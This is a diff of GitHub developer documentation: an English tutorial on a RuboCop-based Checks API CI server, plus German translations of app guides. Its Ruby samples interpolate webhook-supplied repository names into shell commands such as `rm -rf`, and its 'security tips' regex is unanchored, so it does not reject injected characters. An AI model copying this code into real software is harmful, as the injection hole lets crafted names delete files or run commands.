+{% data reusables.apps.accept_new_permissions_steps %}
+
+To clone a repository using your GitHub App's permissions, you can use the app's installation token (`x-access-token:<token>`) shown in the example below:
+
+```shell
+git clone https://x-access-token:<token>@github.com/<owner>/<repo>.git
+```
+
+The code above clones a repository over HTTP. It requires the full repository name, which includes the repository owner (user or organization) and the repository name. For example, the [octocat Hello-World](https://github.com/octocat/Hello-World) repository has a full name of `octocat/hello-world`.
+
+After your app clones the repository, it needs to pull the latest code changes and check out a specific Git ref. The code to do all of this will fit nicely into its own method. To perform these operations, the method needs the name and full name of the repository and the ref to checkout. The ref can be a commit SHA, branch, or tag. Add the following new method to the helper method section in `template_server.rb`:
+
+``` ruby
+# Clones the repository to the current working directory, updates the
+# contents using Git pull, and checks out the ref.
+#
+# full_repo_name  - The owner and repo. Ex: octocat/hello-world
+# repository      - The repository name
+# ref             - The branch, commit SHA, or tag to check out
+def clone_repository(full_repo_name, repository, ref)
+  @git = Git.clone("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", repository)
+  pwd = Dir.getwd()
+  Dir.chdir(repository)
+  @git.pull
+  @git.checkout(ref)
+  Dir.chdir(pwd)
+end
+```
+
+The code above uses the `ruby-git` gem to clone the repository using the app's installation token. This code clones the code in the same directory as `template_server.rb`. To run Git commands in the repository, the code needs to change into the repository directory. Before changing directories, the code stores the current working directory in a variable (`pwd`) to remember where to return before exiting the `clone_repository` method.
+
+From the repository directory, this code fetches and merges the latest changes (`@git.pull`), checks out the ref (`@git.checkout(ref)`), then changes the directory back to the original working directory (`pwd`).
+
+Now you've got a method that clones a repository and checks out a ref. Next, you need to add code to get the required input parameters and call the new `clone_repository` method. Add the following code under the `***** RUN A CI TEST *****` comment in your `initiate_check_run` helper method:
+
+``` ruby
+# ***** RUN A CI TEST *****
+full_repo_name = @payload['repository']['full_name']
+repository     = @payload['repository']['name']
+head_sha       = @payload['check_run']['head_sha']
+
+clone_repository(full_repo_name, repository, head_sha)
+```
+
+The code above gets the full repository name and the head SHA of the commit from the `check_run` webhook payload.
+
+## Step 2.3. Running RuboCop
+
+Great! You're cloning the repository and creating check runs using your CI server. Now you'll get into the nitty gritty details of the [RuboCop linter](https://docs.rubocop.org/rubocop/usage/basic_usage.html#code-style-checker) and [Checks API annotations](/rest/reference/checks#create-a-check-run).
+
+The following code runs RuboCop and saves the style code errors in JSON format. Add this code below the call to `clone_repository` you added in the [previous step](#step-22-cloning-the-repository) and above the code that updates the check run to complete.
+
+``` ruby
+# Run RuboCop on all files in the repository
+@report = `rubocop '#{repository}' --format json`
+logger.debug @report
+`rm -rf #{repository}`
+@output = JSON.parse @report
+```
+
+The code above runs RuboCop on all files in the repository's directory. The option `--format json` is a handy way to save a copy of the linting results in a machine-parsable format. See the [RuboCop docs](https://docs.rubocop.org/rubocop/formatters.html#json-formatter) for details and an example of the JSON format.
+
+Because this code stores the RuboCop results in a `@report` variable, it can safely remove the checkout of the repository. This code also parses the JSON so you can easily access the keys and values in your GitHub App using the `@output` variable.
+
+{% note %}
+
+**Note:** The command used to remove the repository (`rm -rf`) cannot be undone. See [Step 2.7. Security tips](#step-27-security-tips) to learn how to check webhooks for injected malicious commands that could be used to remove a different directory than intended by your app. For example, if a bad actor sent a webhook with the repository name `./`, your app would remove the root directory. 😱 If for some reason you're _not_ using the method `verify_webhook_signature` (which is included in `template_server.rb`) to validate the sender of the webhook, make sure you check that the repository name is valid.
+
+{% endnote %}
+
+You can test that this code works and see the errors reported by RuboCop in your server's debug output. Start up the `template_server.rb` server again and create a new pull request in the repository where you're testing your app:
+
+```shell
+$ ruby template_server.rb
+```
+
+You should see the linting errors in the debug output, although they aren't printed with formatting. You can use a web tool like [JSON formatter](https://jsonformatter.org/) to format your JSON output like this formatted linting error output:
+
+```json
+{
+  "metadata": {
+    "rubocop_version": "0.60.0",
+    "ruby_engine": "ruby",
+    "ruby_version": "2.3.7",
+    "ruby_patchlevel": "456",
+    "ruby_platform": "universal.x86_64-darwin18"
+  },
+  "files": [
+    {
+      "path": "Octocat-breeds/octocat.rb",
+      "offenses": [
+        {
+          "severity": "convention",
+          "message": "Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.",
+          "cop_name": "Style/StringLiterals",
+          "corrected": false,
+          "location": {
+            "start_line": 17,
+            "start_column": 17,
+            "last_line": 17,
+            "last_column": 22,
+            "length": 6,
+            "line": 17,
+            "column": 17
+          }
+        },
+        {
+          "severity": "convention",
+          "message": "Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.",
+          "cop_name": "Style/StringLiterals",
+          "corrected": false,
+          "location": {
+            "start_line": 17,
+            "start_column": 25,
+            "last_line": 17,
+            "last_column": 29,
+            "length": 5,
+            "line": 17,
+            "column": 25
+          }
+        }
+      ]
+    }
+  ],
+  "summary": {
+    "offense_count": 2,
+    "target_file_count": 1,
+    "inspected_file_count": 1
+  }
+}
+```
+
+## Step 2.4. Collecting RuboCop errors
+
+The `@output` variable contains the parsed JSON results of the RuboCop report. As shown above, the results contain a `summary` section that your code can use to quickly determine if there are any errors. The following code will set the check run conclusion to `success` when there are no reported errors. RuboCop reports errors for each file in the `files` array, so if there are errors, you'll need to extract some data from the file object.
+
+The Checks API allows you to create annotations for specific lines of code. When you create or update a check run, you can add annotations. In this quickstart you are [updating the check run](/rest/reference/checks#update-a-check-run) with annotations.
+
+The Checks API limits the number of annotations to a maximum of 50 per API request. To create more than 50 annotations, you have to make multiple requests to the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint. For example, to create 105 annotations you'd need to call the [Update a check run](/rest/reference/checks#update-a-check-run) endpoint three times. The first two requests would each have 50 annotations, and the third request would include the five remaining annotations. Each time you update the check run, annotations are appended to the list of annotations that already exist for the check run.
+
+A check run expects annotations as an array of objects. Each annotation object must include the `path`, `start_line`, `end_line`, `annotation_level`, and `message`. RuboCop provides the `start_column` and `end_column` too, so you can include those optional parameters in the annotation. Annotations only support `start_column` and `end_column` on the same line. See the [`annotations` object](/rest/reference/checks#annotations-object-1) reference documentation for details.
+
+You'll extract the required information from RuboCop needed to create each annotation. Append the following code to the code you added in the [previous section](#step-23-running-rubocop):
+
+``` ruby
+annotations = []
+# You can create a maximum of 50 annotations per request to the Checks
+# API. To add more than 50 annotations, use the "Update a check run" API
+# endpoint. This example code limits the number of annotations to 50.
+# See /rest/reference/checks#update-a-check-run
+# for details.
+max_annotations = 50
+
+# RuboCop reports the number of errors found in "offense_count"
+if @output['summary']['offense_count'] == 0
+  conclusion = 'success'
+else
+  conclusion = 'neutral'
+  @output['files'].each do |file|
+
+    # Only parse offenses for files in this app's repository
+    file_path = file['path'].gsub(/#{repository}\//,'')
+    annotation_level = 'notice'
+
+    # Parse each offense to get details and location
+    file['offenses'].each do |offense|
+      # Limit the number of annotations to 50
+      next if max_annotations == 0
+      max_annotations -= 1
+
+      start_line   = offense['location']['start_line']
+      end_line     = offense['location']['last_line']
+      start_column = offense['location']['start_column']
+      end_column   = offense['location']['last_column']
+      message      = offense['message']
+
+      # Create a new annotation for each error
+      annotation = {
+        path: file_path,
+        start_line: start_line,
+        end_line: end_line,
+        start_column: start_column,
+        end_column: end_column,
+        annotation_level: annotation_level,
+        message: message
+      }
+      # Annotations only support start and end columns on the same line
+      if start_line == end_line
+        annotation.merge({start_column: start_column, end_column: end_column})
+      end
+
+      annotations.push(annotation)
+    end
+  end
+end
+```
+
+This code limits the total number of annotations to 50. But you can modify this code to update the check run for each batch of 50 annotations. The code above includes the variable `max_annotations` that sets the limit to 50, which is used in the loop that iterates through the offenses.
+
+When the `offense_count` is zero, the CI test is a `success`. If there are errors, this code sets the conclusion to `neutral` in order to prevent strictly enforcing errors from code linters. But you can change the conclusion to `failure` if you would like to ensure that the check suite fails when there are linting errors.
+
+When errors are reported, the code above iterates through the `files` array in the RuboCop report. For each file, it extracts the file path and sets the annotation level to `notice`. You could go even further and set specific warning levels for each type of [RuboCop Cop](https://docs.rubocop.org/rubocop/cops.html), but to keep things simpler in this quickstart, all errors are set to a level of `notice`.
+
+This code also iterates through each error in the `offenses` array and collects the location of the offense and error message. After extracting the information needed, the code creates an annotation for each error and stores it in the `annotations` array. Because annotations only support start and end columns on the same line, `start_column` and `end_column` are only added to the `annotation` object if the start and end line values are the same.
+
+This code doesn't yet create an annotation for the check run. You'll add that code in the next section.
+
+## Step 2.5. Updating the check run with CI test results
+
+Each check run from GitHub contains an `output` object that includes a `title`, `summary`, `text`, `annotations`, and `images`. The `summary` and `title` are the only required parameters for the `output`, but those alone don't offer much detail, so this quickstart adds `text` and `annotations` too. The code here doesn't add an image, but feel free to add one if you'd like!
+
+For the `summary`, this example uses the summary information from RuboCop and adds some newlines (`\n`) to format the output. You can customize what you add to the `text` parameter, but this example sets the `text` parameter to the RuboCop version. To set the `summary` and `text`, append this code to the code you added in the [previous section](#step-24-collecting-rubocop-errors):
+
+``` ruby
+# Updated check run summary and text parameters
+summary = "Octo RuboCop summary\n-Offense count: #{@output['summary']['offense_count']}\n-File count: #{@output['summary']['target_file_count']}\n-Target file count: #{@output['summary']['inspected_file_count']}"
+text = "Octo RuboCop version: #{@output['metadata']['rubocop_version']}"
+```
+
+Now you've got all the information you need to update your check run. In the [first half of this quickstart](#step-14-updating-a-check-run), you added this code to set the status of the check run to `success`:
+
+``` ruby
+# Mark the check run as complete!
+@installation_client.update_check_run(
+  @payload['repository']['full_name'],
+  @payload['check_run']['id'],
+  status: 'completed',
+  conclusion: 'success',
+  accept: 'application/vnd.github+json'
+)
+```
+
+You'll need to update that code to use the `conclusion` variable you set based on the RuboCop results (to `success` or `neutral`). You can update the code with the following:
+
+``` ruby
+# Mark the check run as complete! And if there are warnings, share them.
+@installation_client.update_check_run(
+  @payload['repository']['full_name'],
+  @payload['check_run']['id'],
+  status: 'completed',
+  conclusion: conclusion,
+  output: {
+    title: 'Octo RuboCop',
+    summary: summary,
+    text: text,
+    annotations: annotations
+  },
+  actions: [{
+    label: 'Fix this',
+    description: 'Automatically fix all linter notices.',
+    identifier: 'fix_rubocop_notices'
+  }],
+  accept: 'application/vnd.github+json'
+)
+```
+
+Now that you're setting a conclusion based on the status of the CI test and you've added the output from the RuboCop results, you've created a CI test! Congratulations. 🙌
+
+The code above also adds a feature to your CI server called [requested actions](https://developer.github.com/changes/2018-05-23-request-actions-on-checks/) via the `actions` object. {% ifversion fpt or ghec %}(Note this is not related to [GitHub Actions](/actions).) {% endif %}Requested actions add a button in the **Checks** tab on GitHub that allows someone to request the check run to take additional action. The additional action is completely configurable by your app. For example, because RuboCop has a feature to automatically fix the errors it finds in Ruby code, your CI server can use a requested actions button to allow people to request automatic error fixes. When someone clicks the button, the app receives the `check_run` event with a `requested_action` action. Each requested action has an `identifier` that the app uses to determine which button was clicked.
+
+The code above doesn't have RuboCop automatically fix errors yet. You'll add that in the next section. But first, take a look at the CI test that you just created by starting up the `template_server.rb` server again and creating a new pull request:
+
+```shell
+$ ruby template_server.rb
+```
+
+The annotations will show up in the **Checks** tab.
+
+![Check run annotations in the checks tab](/assets/images/github-apps/github_apps_checks_annotations.png)
+
+Notice the "Fix this" button that you created by adding a requested action.
+
+![Check run requested action button](/assets/images/github-apps/github_apps_checks_fix_this_button.png)
+
+If the annotations are related to a file already included in the PR, the annotations will also show up in the **Files changed** tab.
+
+![Check run annotations in the files changed tab](/assets/images/github-apps/github_apps_checks_annotation_diff.png)
+
+## Step 2.6. Automatically fixing RuboCop errors
+
+If you've made it this far, kudos! 👏 You've already created a CI test. In this section, you'll add one more feature that uses RuboCop to automatically fix the errors it finds. You already added the "Fix this" button in the [previous section](#step-25-updating-the-check-run-with-ci-test-results). Now you'll add the code to handle the `requested_action` check run event triggered when someone clicks the "Fix this" button.
+
+The RuboCop tool [offers](https://docs.rubocop.org/rubocop/usage/basic_usage.html#auto-correcting-offenses) the `--auto-correct` command-line option to automatically fix errors it finds. When you use the `--auto-correct` feature, the updates are applied to the local files on the server. You'll need to push the changes to GitHub after RuboCop does its magic.
+
+To push to a repository, your app must have write permissions for "Repository contents." You set that permission back in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) to **Read & write**, so you're all set.
+
+In order to commit files, Git must know which [username](/github/getting-started-with-github/setting-your-username-in-git/) and [email](/articles/setting-your-commit-email-address-in-git/) to associate with the commit. Add two more environment variables in your `.env` file to store the name (`GITHUB_APP_USER_NAME`) and email (`GITHUB_APP_USER_EMAIL`) settings. Your name can be the name of your app and the email can be any email you'd like for this example. For example:
+
+```ini
+GITHUB_APP_USER_NAME=Octoapp
+GITHUB_APP_USER_EMAIL=octoapp@octo-org.com
+```
+
+Once you've updated your `.env` file with the name and email of the author and committer, you'll be ready to add code to read the environment variables and set the Git configuration. You'll add that code soon.
+
+When someone clicks the "Fix this" button, your app receives the [check run webhook](/webhooks/event-payloads/#check_run) with the `requested_action` action type.
+
+In [Step 1.4. Updating a check run](#step-14-updating-a-check-run) you updated the your `event_handler` to handle look for actions in the `check_run` event. You already have a case statement to handle the `created` and `rerequested` action types:
+
+``` ruby
+when 'check_run'
+  # Check that the event is being sent to this app
+  if @payload['check_run']['app']['id'].to_s === APP_IDENTIFIER
+    case @payload['action']
+    when 'created'
+      initiate_check_run
+    when 'rerequested'
+      create_check_run
+  end
+end
+```
+
+Add another `when` statement after the `rerequested` case to handle the `rerequested_action` event:
+
+``` ruby
+when 'requested_action'
+  take_requested_action
+```
+
+This code calls a new method that will handle all `requested_action` events for your app. Add the following method to the helper methods section of your code:
+
+``` ruby
+# Handles the check run `requested_action` event
+# See /webhooks/event-payloads/#check_run
+def take_requested_action
+  full_repo_name = @payload['repository']['full_name']
+  repository     = @payload['repository']['name']
+  head_branch    = @payload['check_run']['check_suite']['head_branch']
+
+  if (@payload['requested_action']['identifier'] == 'fix_rubocop_notices')
+    clone_repository(full_repo_name, repository, head_branch)
+
+    # Sets your commit username and email address
+    @git.config('user.name', ENV['GITHUB_APP_USER_NAME'])
+    @git.config('user.email', ENV['GITHUB_APP_USER_EMAIL'])
+
+    # Automatically correct RuboCop style errors
+    @report = `rubocop '#{repository}/*' --format json --auto-correct`
+
+    pwd = Dir.getwd()
+    Dir.chdir(repository)
+    begin
+      @git.commit_all('Automatically fix Octo RuboCop notices.')
+      @git.push("https://x-access-token:#{@installation_token.to_s}@github.com/#{full_repo_name}.git", head_branch)
+    rescue
+      # Nothing to commit!
+      puts 'Nothing to commit'
+    end
+    Dir.chdir(pwd)
+    `rm -rf '#{repository}'`
+  end
+end
+```
+
+The code above clones a repository just like the code you added in [Step 2.2. Cloning the repository](#step-22-cloning-the-repository). An `if` statement checks that the requested action's identifier matches the RuboCop button identifier (`fix_rubocop_notices`). When they match, the code clones the repository, sets the Git username and email, and runs RuboCop with the option `--auto-correct`. The `--auto-correct` option applies the changes to the local CI server files automatically.
+
+The files are changed locally, but you'll still need to push them to GitHub. You'll use the handy `ruby-git` gem again to commit all of the files. Git has a single command that stages all modified or deleted files and commits them: `git commit -a`. To do the same thing using `ruby-git`, the code above uses the `commit_all` method. Then the code pushes the committed files to GitHub using the installation token, using the same authentication method as the Git `clone` command. Finally, it removes the repository directory to ensure the working directory is prepared for the next event.
+
+That's it! The code you have written now completes your Checks API CI server. 💪 Restart your `template_server.rb` server again and create a new pull request:
+
+```shell
+$ ruby template_server.rb
+```
+
+{% data reusables.apps.sinatra_restart_instructions %}
+
+This time, click the "Fix this" button to automatically fix the errors RuboCop found from the **Checks** tab.
+
+In the **Commits** tab, you'll see a brand new commit by the username you set in your Git configuration. You may need to refresh your browser to see the update.
+
+![A new commit to automatically fix Octo RuboCop notices](/assets/images/github-apps/github_apps_new_requested_action_commit.png)
+
+Because a new commit was pushed to the repo, you'll see a new check suite for Octo RuboCop in the **Checks** tab. But this time there are no errors because RuboCop fixed them all. 🎉
+
+![No check suite or check run errors](/assets/images/github-apps/github_apps_checks_api_success.png)
+
+You can find the completed code for the app you just built in the `server.rb` file in the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository.
+
+## Step 2.7. Security tips
+
+The template GitHub App code already has a method to verify incoming webhook payloads to ensure they are from a trusted source. If you are not validating webhook payloads, you'll need to ensure that when repository names are included in the webhook payload, the webhook does not contain arbitrary commands that could be used maliciously. The code below validates that the repository name only contains Latin alphabetic characters, hyphens, and underscores. To provide you with a complete example, the complete `server.rb` code available in the [companion repository](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) for this quickstart includes both the method of validating incoming webhook payloads and this check to verify the repository name.
+
+``` ruby
+# This quickstart example uses the repository name in the webhook with
+# command-line utilities. For security reasons, you should validate the
+# repository name to ensure that a bad actor isn't attempting to execute
+# arbitrary commands or inject false repository names. If a repository name
+# is provided in the webhook, validate that it consists only of latin
+# alphabetic characters, `-`, and `_`.
+unless @payload['repository'].nil?
+  halt 400 if (@payload['repository']['name'] =~ /[0-9A-Za-z\-\_]+/).nil?
+end
+```
+
+## Troubleshooting
+
+Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}.
+
+* **Q:** My app isn't pushing code to GitHub. I don't see the fixes that RuboCop automatically makes!
+
+    **A:** Make sure you have **Read & write** permissions for "Repository contents," and that you are cloning the repository with your installation token. See [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) for details.
+
+* **Q:** I see an error in the `template_server.rb` debug output related to cloning my repository.
+
+    **A:** If you see the following error, you haven't deleted the checkout of the repository in one or both of the `initiate_check_run` or `take_requested_action` methods:
+
+    ```shell
+    2018-11-26 16:55:13 - Git::GitExecuteError - git  clone '--' 'https://x-access-token:ghs_9b2080277016f797074c4dEbD350745f4257@github.com/codertocat/octocat-breeds.git' 'Octocat-breeds'  2>&1:fatal: destination path 'Octocat-breeds' already exists and is not an empty directory.:
+    ```
+
+    Compare your code to the `server.rb` file to ensure you have the same code in your `initiate_check_run` and `take_requested_action` methods.
+
+* **Q:** New check runs are not showing up in the "Checks" tab on GitHub.
+
+    **A:** Restart Smee and re-run your `template_server.rb` server.
+
+* **Q:** I do not see the "Re-run all" button in the "Checks" tab on GitHub.
+
+    **A:** Restart Smee and re-run your `template_server.rb` server.
+
+## Conclusion
+
+After walking through this guide, you've learned the basics of using the Checks API to create a CI server! To review, you:
+
+* Configured your server to receive Checks API events and create check runs.
+* Used RuboCop to check code in repositories and create annotations for the errors.
+* Implemented a requested action that automatically fixes linter errors.
+
+## Next steps
+
+Here are some ideas for what you can do next:
+
+* Currently, the "Fix this" button is always displayed. Update the code you wrote to display the "Fix this" button only when RuboCop finds errors.
+* If you'd prefer that RuboCop doesn't commit files directly to the head branch, you can update the code to [create a pull request](/rest/reference/pulls#create-a-pull-request) with a new branch based on the head branch.
diff --git a/translations/de-DE/content/developers/apps/guides/index.md b/translations/de-DE/content/developers/apps/guides/index.md
new file mode 100644
index 0000000000..9c2574941d
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/guides/index.md
@@ -0,0 +1,24 @@
+---
+title: Anleitungen
+intro: 'Erfahre mehr zur Verwendung der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API mit deiner App, zu Continuous Integration und das Erstellen von Builds für Apps.'
+redirect_from:
+  - /apps/quickstart-guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+children:
+  - /using-the-github-api-in-your-app
+  - /using-content-attachments
+  - /creating-ci-tests-with-the-checks-api
+ms.openlocfilehash: 2506f1adc637b8c9ce8ad9b54d569dbe37005136
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089924'
+---
+
diff --git a/translations/de-DE/content/developers/apps/guides/using-content-attachments.md b/translations/de-DE/content/developers/apps/guides/using-content-attachments.md
new file mode 100644
index 0000000000..fac781684e
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/guides/using-content-attachments.md
@@ -0,0 +1,183 @@
+---
+title: Verwenden von Inhaltsanlagen
+intro: 'Inhaltsanlagen ermöglichen es einer GitHub-App, weitere Informationen für URLs in GitHub bereitzustellen, die mit registrierten Domänen verknüpft sind. GitHub rendert die von der App bereitgestellten Informationen unter der URL im Text oder Kommentar eines Issues bzw. Pull Requests.'
+redirect_from:
+  - /apps/using-content-attachments
+  - /developers/apps/using-content-attachments
+versions:
+  ghes: <3.4
+topics:
+  - GitHub Apps
+ms.openlocfilehash: f557a804d48144df24398f75e90a589d563d941b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147081023'
+---
+{% data reusables.pre-release-program.content-attachments-public-beta %}
+
+## Informationen zu Inhaltsanlagen
+
+Von einer GitHub-App können Domänen registriert werden, die `content_reference`-Ereignisse auslösen. Wenn jemand eine URL in den Textkörper oder Kommentar eines Issues oder Pull Requests aufnimmt, die mit einer registrierten Domäne verknüpft ist, empfängt die App den [`content_reference`-Webhook](/webhooks/event-payloads/#content_reference). Du kannst Inhaltsanlagen verwenden, um visuell mehr Kontext oder Daten für die URL bereitzustellen, die einem Issue oder Pull Request hinzugefügt wurde. Die URL muss eine vollqualifizierte URL sein, die entweder mit `http://` oder mit `https://` beginnt. URLs, die Teil eines Markdownlinks sind, werden ignoriert und lösen das `content_reference`-Ereignis nicht aus.
+
+Bevor du die {% data variables.product.prodname_unfurls %}-API verwenden kannst, musst du Inhaltsverweise für deine GitHub-App konfigurieren:
+* Gewähre der App `Read & write`-Berechtigungen für Inhaltsverweise.
+* Registriere bis zu fünf gültige, öffentlich zugängliche Domänen, wenn du die Berechtigung „Inhaltsverweise“ konfigurierst. Verwende beim Konfigurieren der Inhaltsverweisdomänen keine IP-Adressen. Du kannst einen Domänennamen (example.com) oder eine Unterdomäne (subdomain.example.com) registrieren.
+* Abonniere für deine App das Ereignis „Inhaltsverweis“.
+
+Sobald die App in einem Repository installiert ist, wird von im Repository angelegten Issue- oder Pull-Request-Kommentaren, die URLs für die registrierten Domänen enthalten, ein Inhaltsverweisereignis generiert. Von der App muss innerhalb von sechs Stunden nach Veröffentlichung der Inhaltsverweis-URL eine Inhaltsanlage erstellt werden.
+
+Durch Inhaltsanlagen werden URLs nicht rückwirkend aktualisiert. Dies funktioniert nur für URLs, die Issues oder Pull Requests hinzugefügt werden, nachdem du die App gemäß den oben beschriebenen Anforderungen konfiguriert hast und wenn dann eine Person die App in ihrem Repository installiert.
+
+Unter [Erstellen einer GitHub-App](/apps/building-github-apps/creating-a-github-app/) oder [Bearbeiten der Berechtigungen einer GitHub-App](/apps/managing-github-apps/editing-a-github-app-s-permissions/) kannst du dich mit den Schritten vertraut machen, die zum Konfigurieren von GitHub-App-Berechtigungen und -Ereignisabonnements erforderlich sind.
+
+## Implementieren des Inhaltsanlageflows
+
+Der Inhaltsanlagenflow zeigt dir die Beziehung zwischen der URL im Issue oder Pull Request, dem `content_reference`-Webhookereignis und dem REST-API-Endpunkt, den du aufrufen musst, um das Issue oder den Pull Request mit zusätzlichen Informationen zu aktualisieren:
+
+**Schritt 1.** Richte deine App mithilfe der in [Informationen zu Inhaltsanlagen](#about-content-attachments) beschriebenen Richtlinien ein. Außerdem kannst du das [Probot-App-Beispiel](#example-using-probot-and-github-app-manifests) verwenden, um mit Inhaltsanlagen zu beginnen.
+
+**Schritt 2.** Füge die URL für die Domäne hinzu, die du für ein Issue oder einen Pull Request registriert hast. Du musst eine vollqualifizierte URL verwenden, die mit `http://` oder `https://` beginnt.
+
+![Einem Issue hinzugefügte URL](/assets/images/github-apps/github_apps_content_reference.png)
+
+**Schritt 3.** Die App erhält den [`content_reference`-Webhook](/webhooks/event-payloads/#content_reference) mit der Aktion `created`.
+
+``` json
+{
+  "action": "created",
+  "content_reference": {
+    "id": 17,
+    "node_id": "MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA5",
+    "reference": "errors.ai"
+  },
+  "repository": {
+    "full_name": "Codertocat/Hello-World",
+  },
+  "sender": {...},
+  "installation": {
+    "id": 371641,
+    "node_id": "MDIzOkludGVncmF0aW9uSW5zdGFsbGF0aW9uMzcxNjQx"
+  }
+}
+```
+
+**Schritt 4.** Von der App werden die Felder `content_reference` `id` und `repository` `full_name` dazu verwendet, mithilfe der REST-API [eine Inhaltsanlage zu erstellen](/rest/reference/apps#create-a-content-attachment). Du benötigst auch die `installation` `id` für das Authentifizieren als [GitHub-App-Installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+
+{% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %}
+
+Der `body`-Parameter kann Markdown enthalten:
+
+```shell
+curl -X POST \
+  {% data variables.product.api_url_code %}/repos/Codertocat/Hello-World/content_references/17/attachments \
+  -H 'Accept: application/vnd.github.corsair-preview+json' \
+  -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
+  -d '{
+    "title": "[A-1234] Error found in core/models.py file",
+    "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+}'
+```
+
+Weitere Informationen zum Erstellen eines Installationstokens findest du unter [Authentifizieren als GitHub-App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+
+**Schritt 5.** Die neue Inhaltsanlage wird unter dem Link in einem Pull-Request- oder Issuekommentar angezeigt:
+
+![An einen Verweis in einem Issue angefügter Inhalt](/assets/images/github-apps/content_reference_attachment.png)
+
+## Verwenden von Inhaltsanlagen in GraphQL
+Die `node_id` wird im [`content_reference`-Webhook](/webhooks/event-payloads/#content_reference)-Ereignis bereitgestellt, damit du auf die `createContentAttachment`-Mutation in der GraphQL-API verweisen kannst.
+
+{% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %}
+
+Beispiel:
+
+``` graphql
+mutation {
+  createContentAttachment(input: {
+    contentReferenceId: "MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA1",
+    title: "[A-1234] Error found in core/models.py file",
+    body:"You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+  }) {
+    contentAttachment {
+      ... on ContentAttachment {
+        id
+        title
+        body
+      }
+    }
+  }
+}
+```
+cURL-Beispiel:
+
+```shell
+curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
+     -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
+     -H 'Accept: application/vnd.github.corsair-preview+json' \
+     -H 'Content-Type: application/json; charset=utf-8' \
+     -d $'{
+  "query": "mutation {\\n  createContentAttachment(input:{contentReferenceId: \\"MDE2OkNvbnRlbnRSZWZlcmVuY2UxNjA1\\", title:\\"[A-1234] Error found in core/models.py file\\", body:\\"You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n\self.save()\\"}) {\\n    contentAttachment {\\n      id,\\n      title,\\n      body\\n    }\\n  }\\n}"
+}'
+```
+
+Weitere Informationen zu `node_id` findest du unter [Verwenden globaler Knoten-IDs](/graphql/guides/using-global-node-ids).
+
+## Beispiel für die Verwendung von Probot und GitHub-App-Manifesten
+
+Zum schnellen Einrichten einer GitHub-App, die die {% data variables.product.prodname_unfurls %}-API verwenden kann, kannst du [Probot](https://probot.github.io/) verwenden. Unter [Erstellen von GitHub-Apps aus einem Manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/) kannst du dich damit vertraut machen, wie GitHub-App-Manifeste von Probot verwendet werden.
+
+Führe die folgenden Schritte aus, um eine Probot-App zu erstellen:
+
+1. [Erstelle eine neue GitHub-App](https://probot.github.io/docs/development/#generating-a-new-app).
+2. Öffne das erstellte Projekt, und passe die Einstellungen in der Datei `app.yml` an. Abonniere das Ereignis `content_reference`, und aktiviere `content_references`-Schreibberechtigungen:
+
+   ``` yml
+    default_events:
+      - content_reference
+    # The set of permissions needed by the GitHub App. The format of the object uses
+    # the permission name for the key (for example, issues) and the access type for
+    # the value (for example, write).
+    # Valid values are `read`, `write`, and `none`
+    default_permissions:
+      content_references: write
+
+    content_references:
+      - type: domain
+        value: errors.ai
+      - type: domain
+        value: example.org
+   ```
+
+3. Füge der Datei `index.js` folgenden Code hinzu, um `content_reference`-Ereignisse zu verarbeiten und die REST-API aufzurufen:
+
+    ``` javascript
+    module.exports = app => {
+      // Your code here
+      app.log('Yay, the app was loaded!')
+       app.on('content_reference.created', async context => {
+        console.log('Content reference created!', context.payload)
+         // Call the "Create a content reference" REST endpoint
+        await context.github.request({
+          method: 'POST',
+          headers: { accept: 'application/vnd.github.corsair-preview+json' },
+          url: `/repos/${context.payload.repository.full_name}/content_references/${context.payload.content_reference.id}/attachments`,
+          // Parameters
+          title: '[A-1234] Error found in core/models.py file',
+          body: 'You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\nself.save()'
+        })
+      })
+    }
+    ```
+
+4. [Führe die GitHub-App lokal aus](https://probot.github.io/docs/development/#running-the-app-locally). Navigiere zu `http://localhost:3000`, und klicke auf die Schaltfläche **GitHub-App registrieren**:
+
+   ![Registrieren einer GitHub-App mit Probot](/assets/images/github-apps/github_apps_probot-registration.png)
+
+5. Installiere die App in einem Testrepository.
